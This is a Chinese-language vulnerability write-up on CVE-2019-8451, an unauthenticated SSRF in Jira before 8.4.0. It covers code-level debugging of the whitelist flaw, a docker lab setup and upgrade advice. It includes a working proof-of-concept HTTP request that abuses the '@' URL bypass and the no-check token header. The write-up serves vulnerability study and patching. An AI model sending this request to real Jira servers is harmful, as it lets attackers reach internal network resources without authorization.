Jira未授权SSRF漏洞(CVE-2019-8451)

漏洞描述

Jira的/plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击者可以以Jira服务端的身份访问内网资源。经分析,此漏洞无需任何凭据即可触发。

漏洞危害

远程攻击者可以利用此漏洞以Jira服务端的身份访问内网资源。

漏洞影响版本

Jira < 8.4.0

漏洞分析

两个关键信息点:
• 漏洞点在/plugins/servlet/gadgets/makeRequest
• 原因在于JiraWhitelist这个类的逻辑缺陷
首先直接去访问http://192.168.60.244:8080/plugins/servlet/gadgets/makeRequest会报404
Jira未授权SSRF漏洞(CVE-2019-8451)然后开始按照以往Jira/Confluence的漏洞搜索方法
Jira未授权SSRF漏洞(CVE-2019-8451)
然而通过这一点并没有搜出来直接到漏洞点的地方。换另一条思路,搜索:JiraWhitelist
Jira未授权SSRF漏洞(CVE-2019-8451)
找到了这个类是在atlassian-jira/WEB-INF/classes目录下,于是在IDEA中直接将这个目录加到Library中(否则调试无法进入),然后在其可疑方法allows下断点
Jira未授权SSRF漏洞(CVE-2019-8451)
发起一个/plugins/servlet/gadgets/makeRequest的请求,但是这个时候没能直接触发到断点。后来找到了一个跟这个比较像的url:/plugins/servlet/gadgets/dashboard-diagnostics深入跟进了一下,发现原来是所有/plugins/servlet开头的url会交给某一些类处理,而这是在web.xml中配置的:
Jira未授权SSRF漏洞(CVE-2019-8451)Jira未授权SSRF漏洞(CVE-2019-8451)这里url中的/plugins/servlet匹配到了servlet-module-container-servlet对应的servlet为:com.atlassian.jira.plugin.servlet.ServletModuleContainerServlet。然后后面通过request.getPathInfo()来获取url后面的内容。参考:https://blog.csdn.net/turkeyzhou/article/details/3270289
Jira未授权SSRF漏洞(CVE-2019-8451)获取到之后,去一个Map里查找
Jira未授权SSRF漏洞(CVE-2019-8451)找到这个pathInfo对应的Servlet descriptor
Jira未授权SSRF漏洞(CVE-2019-8451)然后根据这个descriptor找到具体的Servlet类
Jira未授权SSRF漏洞(CVE-2019-8451)这里显示已经找到了:
Jira未授权SSRF漏洞(CVE-2019-8451)这个Servlet为com.atlassian.gadgets.shindig.servlet.XsrfMakeRequestServlet。
至此终于定位到了处理具体请求的地方。
跟进这个类atlassian-jira/WEB-INF/atlassian-bundled-plugins/atlassian-gadgets- opensocial-plugin-4.3.9.jar!/com/atlassian/gadgets/shindig/servlet /XsrfMakeRequestServlet的doGet方法。
可以看到这里对请求中的请求头X-Atlassian-Token: no-check做了判断,如果请求中没有这个请求头,则直接响应404了。
Jira未授权SSRF漏洞(CVE-2019-8451)注:这个请求头是官方提供的一种绕过Jira自身CSRF防御的方式,用于告诉Jira不对此请求进行CSRF防御,方便在自动化脚本中使用。具体介绍可以参考:https://developer.atlassian.com/server/jira/platform/form-token-handling/
到这里就解释了为什么直接访问这个url会响应404了。
带上这个请求头,继续调试。跟进其父类即org.apache.shindig.gadgets.servlet.MakeRequestServlet的doGet方法。由于这个包没有在Jira提供的jar包中找到,最后去这里:https://repo1.maven.org/maven2/org/apache/shindig/shindig-gadgets/2.5.2/shindig-gadgets-2.5.2.jar 找了一个jar包作为Library供IDEA调试。最后跟进到了atlassian-jira/WEB-INF/classes/com /atlassian/jira/dashboard/JiraWhitelist#allows方法中,对请求中的url参数进行判断。
Jira未授权SSRF漏洞(CVE-2019-8451)如果请求中的 url满足以Jira服务的canonicalBaseUrl开头,则认为这个url符合白名单的规则:这里应该就是漏洞描述中atlassian-jira/WEB-INF/classes/com/atlassian/jira/dashboard/JiraWhitelist#allows方法的逻辑缺陷了。
符合白名单的规则就接着使用atlassian-jira-6.4.14-standalone/atlassian-jira/WEB-INF/lib/httpclient-4.3.6.jar!/org/apache/http/client/utils/URIUtils这个工具类将url中的协议名、Host名、端口等提取出来。
Jira未授权SSRF漏洞(CVE-2019-8451)Jira未授权SSRF漏洞(CVE-2019-8451)Jira未授权SSRF漏洞(CVE-2019-8451)通过跟踪代码,发现它只判断了url是否以<jira服务的协议://ip:port>开头,所以poc中能进行SSRF请求的协议只能是HTTP/HTTPS。

环境搭建

  1. 开启docker环境
    docker-compose build
    docker-compose up -d
    Jira未授权SSRF漏洞(CVE-2019-8451)
  2. 访问ip:8080进行安装,选择第二个
    Jira未授权SSRF漏洞(CVE-2019-8451)
  3. 按照提示继续即可

Jira未授权SSRF漏洞(CVE-2019-8451)Jira未授权SSRF漏洞(CVE-2019-8451)Jira未授权SSRF漏洞(CVE-2019-8451)4. 生成JIRA使用许可证
Jira未授权SSRF漏洞(CVE-2019-8451)5. 生成之后找到License Key,回到页面填上License Key继续安装
Jira未授权SSRF漏洞(CVE-2019-8451)Jira未授权SSRF漏洞(CVE-2019-8451)Jira未授权SSRF漏洞(CVE-2019-8451)Jira未授权SSRF漏洞(CVE-2019-8451)
6. 至此,安装完毕

Jira未授权SSRF漏洞(CVE-2019-8451)

漏洞复现

  1. 先访问ip:8080,然后刷新抓包,将数据包替换为如下Poc:
GET /plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com HTTP/1.1
Host: 10.206.1.8:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchangeb;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
X-Atlassian-Token: no-check
Connection: close
  1. 通过bupsuit进行请求如下,在响应中可以看到成功探测目标系统存在ssrf漏洞:
    Jira未授权SSRF漏洞(CVE-2019-8451)3. 通过bupsuit进行请求如下,在响应中可以看到探测失败则会显示响应500:
    Jira未授权SSRF漏洞(CVE-2019-8451)

POC验证:

使用方法:python3 poc.py -u http://192.168.60.244:8080
Jira未授权SSRF漏洞(CVE-2019-8451)

修复建议

升级到8.4.0及以上版本

上一篇:通过IL分析C#中的委托、事件、Func、Action、Predicate之间的区别与联系


下一篇:Open browser failed Please check if you have installed the browser correctly